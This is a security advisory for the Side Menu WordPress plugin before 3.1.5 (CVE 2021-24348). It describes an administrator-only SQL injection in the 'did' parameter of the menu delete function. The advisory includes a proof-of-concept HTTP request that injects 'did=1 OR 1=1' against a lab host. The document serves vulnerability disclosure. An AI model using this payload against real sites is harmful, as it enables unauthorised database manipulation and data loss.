Side Menu < 3.1.5 – Authenticated (admin+) SQL Injection | CVE 2021-24348

Description

The menu delete functionality of the plugin, available to Administrator users takes the did GET parameter and uses it into an SQL statement without proper sanitisation, validation or escaping, therefore leading to a SQL Injection issue

Proof of Concept

GET /wp-admin/admin.php?page=side-menu&info=del&did=1%20OR%201=1 HTTP/1.1
Host: 172.28.128.50
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.28.128.50/wp-admin/admin.php?page=side-menu&info=saved
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close